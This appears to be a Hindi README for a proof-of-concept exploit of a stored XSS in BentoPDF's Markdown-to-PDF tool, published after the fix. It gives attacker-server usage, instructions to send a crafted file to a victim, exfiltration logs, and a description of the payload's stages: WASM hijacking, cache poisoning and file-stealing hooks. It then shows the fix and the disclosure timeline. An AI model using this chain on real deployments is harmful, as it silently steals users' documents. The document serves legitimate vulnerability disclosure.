
CVE-2026-41653 के लिए प्रूफ-ऑफ-कॉन्सेप्ट एक्सप्लॉइट, BentoPDF में एक संग्रहीत XSS जो मूक फ़ाइल बहिर्वाह और WASM सप्लाई-चेन अपहरण को सक्षम बनाता है।
खोज एवं रिपोर्टकर्ता: Astaruf
पूर्ण विवरण: https://nstsec.com/en/posts/bentopdf-xss-cve-2026-41653/
अपस्ट्रीम सलाह: alam00000/bentopdf GHSA सलाह
NVD प्रविष्टि: https://nvd.nist.gov/vuln/detail/CVE-2026-41653
BentoPDF एक स्व-होस्टेड, ब्राउज़र-साइड PDF टूलबॉक्स है (कंप्रेस, मर्ज, स्प्लिट, रोटेट, कन्वर्ट, Markdown-to-PDF, आदि)।
Markdown-to-PDF टूल उपयोगकर्ता-आपूर्ति किए गए Markdown को html: true के साथ markdown-it से गुज़ारता है और रेंडर किए गए आउटपुट को बिना किसी सैनिटाइज़ेशन के सीधे innerHTML के माध्यम से DOM में इंजेक्ट करता है। एक हमलावर जो एक क्राफ्टेड .md फ़ाइल वितरित करता है, BentoPDF ओरिजिन में मनमाना JavaScript निष्पादन प्राप्त करता है।
क्योंकि BentoPDF एक पूर्णतः क्लाइंट-साइड एप्लिकेशन है, हर टूल (Compress PDF, Merge PDF, Split PDF, आदि) फ़ाइलों को सीधे पीड़ित के ब्राउज़र में लोड और प्रोसेस करता है। इसलिए एक एकल XSS सत्र के दौरान पीड़ित द्वारा किसी भी टूल में खोले गए हर दस्तावेज़ को चुपचाप बहिर्गमित करने के लिए पर्याप्त है।
Attacker sends report.md (containing )
-> Victim opens it in Markdown-to-PDF
-> markdown-it renders raw HTML (html: true)
-> preview.innerHTML = html (no DOMPurify)
-> poc_payload.js loaded from attacker server (no CSP)
-> FileReader + <input type=file> hooked app-wide
-> hidden popup re-injects hooks on every tool navigation
-> every file the victim opens is silently exfiltrated
localStorage['bentopdf:wasm-providers'] को अधिलेखित करता है, PyMuPDF, Ghostscript, और cpdf WASM मॉड्यूल डाउनलोड को हमलावर-नियंत्रित होस्ट पर पुनर्निर्देशित करता है।window.opener को पोल करता है और हर बार जब पीड़ित किसी भिन्न टूल पर नेविगेट करता है तो फ़ाइल हुक को पुनः इंजेक्ट करता है, पूरे सत्र में पहुंच बनाए रखता है।bentopdf-* कैश को विषाक्त करता है, वर्तमान सत्र से परे ब्राउज़र को दी जाने वाली हर /assets/*.js फ़ाइल में एक बहिर्गमन हुक जोड़ता है।markdown-it में रॉ HTML पास-थ्रू (CWE-79)src/js/utils/markdown-editor.ts (पंक्तियाँ 271–272):
private mdOptions: MarkdownItOptions = {
html: true, // raw HTML tags pass through the markdown parser
breaks: false,
linkify: true,
typographer: true,
};
``, <svg>, <details> जैसे टैग और कोई भी इवेंट हैंडलर विशेषताएँ (onerror, onload, ontoggle) DOM में यथावत अग्रेषित की जाती हैं।
innerHTML इंजेक्शन (CWE-116)src/js/utils/markdown-editor.ts (पंक्तियाँ 689–694):
private updatePreview(): void {
if (!this.editor || !this.preview) return;
const markdown = this.editor.value;
const html = this.md.render(markdown);
this.preview.innerHTML = html; // attacker-controlled HTML injected into DOM
this.renderMermaidDiagrams();
}
markdown-it और innerHTML के बीच कोई सैनिटाइज़ेशन लाइब्रेरी लागू नहीं की गई है। ब्राउज़र इंजेक्टेड स्ट्रिंग को पार्स करता है, इनलाइन इवेंट हैंडलर का सामना करता है, और इसे तुरंत निष्पादित करता है।
nginx.conf बिना किसी Content-Security-Policy हेडर के आता है। इंजेक्टेड JavaScript स्वतंत्र रूप से बाहरी स्क्रिप्ट लोड कर सकता है, किसी भी होस्ट पर fetch() अनुरोध जारी कर सकता है, और पॉपअप विंडो खोल सकता है। एक प्रतिबंधात्मक CSP सिंक बरकरार रहने पर भी बाहरी-स्क्रिप्ट लोडिंग चरण को रोक सकता था।
# Start the attacker server for exfiltration
python3 poc.py --lhost <YOUR_IP> --lport 9999
# poc.py will:
# - generate poc_report.md payload in the current directory
# - start listening for victim's callbacks and exfiltrated files
पीड़ित को poc_report.md भेजें और उन्हें इसे BentoPDF → Markdown-to-PDF में खोलने के लिए कहें। पेलोड उसी क्षण सक्रिय हो जाता है जब पूर्वावलोकन रेंडर होता है, और पीड़ित द्वारा भविष्य में अपलोड की जाने वाली सभी फ़ाइलें हमलावर के सर्वर पर बहिर्गमित हो जाती हैं।
| विकल्प | डिफ़ॉल्ट | विवरण |
|---|---|---|
--lhost | आवश्यक | पीड़ित के ब्राउज़र द्वारा पहुंच योग्य IP |
--lport | 9999 | सुनने का पोर्ट |
--loot-dir | ./loot/ | वह निर्देशिका जहाँ बहिर्गमित फ़ाइलें सहेजी जाती हैं |
--log-file | कोई नहीं | सभी घटनाओं को एक फ़ाइल में जोड़ें (ANSI कोड हटाए गए) |
--no-color | बंद | टर्मिनल आउटपुट में ANSI रंग अक्षम करें |
1. हमलावर सर्वर --lhost और --lport के साथ प्रारंभ किया गया। दुर्भावनापूर्ण poc_report.md स्वचालित रूप से उत्पन्न होता है।
$ python3 poc.py --lhost 127.0.0.1 --lport 9999
██████╗██╗ ██╗███████╗ ██╗ ██╗ ██╗ ██████╗ ███████╗ ██████╗
██╔════╝██║ ██║██╔════╝ ██║ ██║ ███║ ██╔════╝ ██╔════╝ ╚════██╗
██║ ██║ ██║█████╗ -2026- ███████║ ╚██║ ███████╗ ███████╗ █████╔╝
██║ ╚██╗ ██╔╝██╔══╝ ╚════██║ ██║ ██╔══██║ ╚════██║ ╚═══██╗
╚██████╗ ╚████╔╝ ███████╗ ██║ ██║ ╚██████║ ███████║ ██████╔╝
╚═════╝ ╚═══╝ ╚══════╝ ╚═╝ ╚═╝ ╚═════╝ ╚══════╝ ╚═════╝
BentoPDF <= 2.8.1 - Markdown-to-PDF Stored XSS -> File Exfiltration
PoC by Astaruf (https://nstsec.com)
========================================================================
Exfiltration server: http://127.0.0.1:9999
Payload: http://127.0.0.1:9999/poc_payload.js
Loot dir: /home/kali/loot
========================================================================
Malicious .md file ready: /home/kali/poc_report.md
Send it to the victim and ask them to open it in Markdown-to-PDF tool.
The payload fires as soon as the preview renders.
========================================================================
Waiting for victims...
2. पीड़ित BentoPDF में Markdown-to-PDF टूल खोलता है।

3. पीड़ित poc_report.md लोड करता है। पूर्वावलोकन रेंडर होता है, `` लोड होने में विफल रहता है, onerror सक्रिय होता है। poc_payload.js को ब्लॉक करने के लिए कोई CSP न होने के कारण हमलावर सर्वर से लाया जाता है।

4. पेलोड अपने चार चरण चलाता है: localStorage के माध्यम से WASM प्रदाता अपहरण, पॉपअप मॉनिटर स्पॉन, वर्तमान पृष्ठ पर FileReader और फ़ाइल-इनपुट हुक स्थापित।

5. पीड़ित Compress PDF पर नेविगेट करता है। पॉपअप नेविगेशन का पता लगाता है और नए पृष्ठ में हुक को पुनः इंजेक्ट करता है।

6. पीड़ित एक PDF लोड करता है। टूल इसे सामान्य रूप से कंप्रेस करता है। फ़ाइल बाइट्स पहले ही हमलावर सर्वर पर POST की जा चुकी थीं।

7. सत्यापित रन से हमलावर सर्वर आउटपुट:
[17:11:11] WASM HIJACK { stage: 'wasm_hijack', victim: '.../markdown-to-pdf.html' }
[17:11:12] BEACON { page: '.../markdown-to-pdf.html' }
[17:11:55] BEACON { page: '.../index.html' }
[17:12:00] BEACON { page: '.../compress-pdf.html' }
[17:12:01] FILE EXFILTRATED Lorem_ipsum.pdf (23.7 KB) -> loot/171201_Lorem_ipsum.pdf
[17:13:57] BEACON { page: '.../merge-pdf.html' }
[17:13:58] FILE EXFILTRATED Lorem_ipsum.pdf (23.7 KB) -> loot/171358_Lorem_ipsum.pdf

8. बहिर्गमित फ़ाइल मूल के समान एक पूर्ण, मान्य PDF के रूप में खुलती है।

poc.py में एम्बेडेड पेलोड क्रम में चार चरण चलाता है:
| चरण | यह क्या करता है | स्थिरता का दायरा |
|---|---|---|
| 1 | सभी WASM मॉड्यूल डाउनलोड को हमलावर पर पुनर्निर्देशित करने के लिए localStorage['bentopdf:wasm-providers'] को अधिलेखित करता है | ब्राउज़र सत्रों के पार |
| 2 | /sw.js पंजीकृत करता है, सभी टूल पृष्ठों पर /assets/*.js की गणना करता है, बहिर्गमन हुक के साथ bentopdf-* Service Worker कैश को विषाक्त करता है | ब्राउज़र सत्र से परे (केवल HTTPS) |
| 3 | एक छिपा हुआ 1×1 पॉपअप स्पॉन करता है जो window.opener.location.href को पोल करता है और प्रत्येक टूल नेविगेशन के बाद फ़ाइल हुक को पुनः इंजेक्ट करता है | जब तक BentoPDF टैब खुला है |
| 4 | FileReader.prototype.readAsArrayBuffer और दस्तावेज़-स्तरीय change लिसनर को हुक करता है: पीड़ित द्वारा छुई गई हर फ़ाइल हमलावर सर्वर /file?name=<filename> पर POST की जाती है | वर्तमान पृष्ठ |
BentoPDF v2.8.3 में जारी किया गया। डेवलपर ने मूल रूप से रिपोर्ट किए गए सिंक से परे कोडबेस का ऑडिट किया और कई संबंधित वैक्टरों को संबोधित किया:
markdown-editor.ts में सभी तीन innerHTML सिंक पर लागू किया गया, जिसमें Mermaid SVG पथ भी शामिल है जो securityLevel: 'loose' का उपयोग करता था और पहले सैनिटाइज़र को बायपास करता पाया गया था।securityLevel: 'strict' के साथ चलता है और SVG आउटपुट को DOMPurify के SVG प्रोफ़ाइल के साथ पुनः सैनिटाइज़ किया जाता है।file.name XSS लगभग 8 टूल पृष्ठों (Deskew, Form Filler, Remove Annotations, आदि) में एस्केप किया गया जहाँ फ़ाइलनाम पहले असैनिटाइज़्ड HTML में संयोजित किए जाते थे।localStorage['bentopdf:wasm-providers'] में अविश्वसनीय URL लोड पर हटा दिए जाते हैं।nginx.conf में लागू किया गया, जिसमें Content-Security-Policy शामिल है।मूल रूप से रिपोर्ट किए गए सिंक के लिए न्यूनतम सुधार:
import DOMPurify from 'dompurify';
private updatePreview(): void {
if (!this.editor || !this.preview) return;
const markdown = this.editor.value;
const html = this.md.render(markdown);
this.preview.innerHTML = DOMPurify.sanitize(html);
}
nginx.conf में जोड़ा गया CSP हेडर:
add_header Content-Security-Policy "default-src 'self'; script-src 'self' blob:; connect-src 'self' https://cdn.jsdelivr.net; object-src 'none';" always;
| दिनांक | घटना |
|---|---|
| 2026-04-02 | भेद्यता खोजी गई |
| 2026-04-02 | रखरखावकर्ता को निजी रूप से रिपोर्ट की गई |
| 2026-04-17 | रखरखावकर्ता ने स्वीकार किया |
| 2026-04-17 | सुधार edge बिल्ड पर लागू हुआ और पुनः परीक्षण किया गया |
| 2026-04-18 | v2.8.3 सार्वजनिक श्रेय के साथ जारी किया गया |
| 2026-04-21 | GHSA सलाह प्रकाशित हुई |
| 2026-04-22 | CVE-2026-41653 निर्धारित किया गया |
यह सामग्री केवल अधिकृत सुरक्षा परीक्षण और शैक्षिक उद्देश्यों के लिए प्रदान की गई है। इसका उपयोग केवल उन BentoPDF इंस्टेंस के विरुद्ध करें जिनके आप स्वामी हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट लिखित अनुमति है। कंप्यूटर सिस्टम तक अनधिकृत पहुंच अवैध है। लेखक दुरुपयोग के लिए कोई दायित्व नहीं मानता है।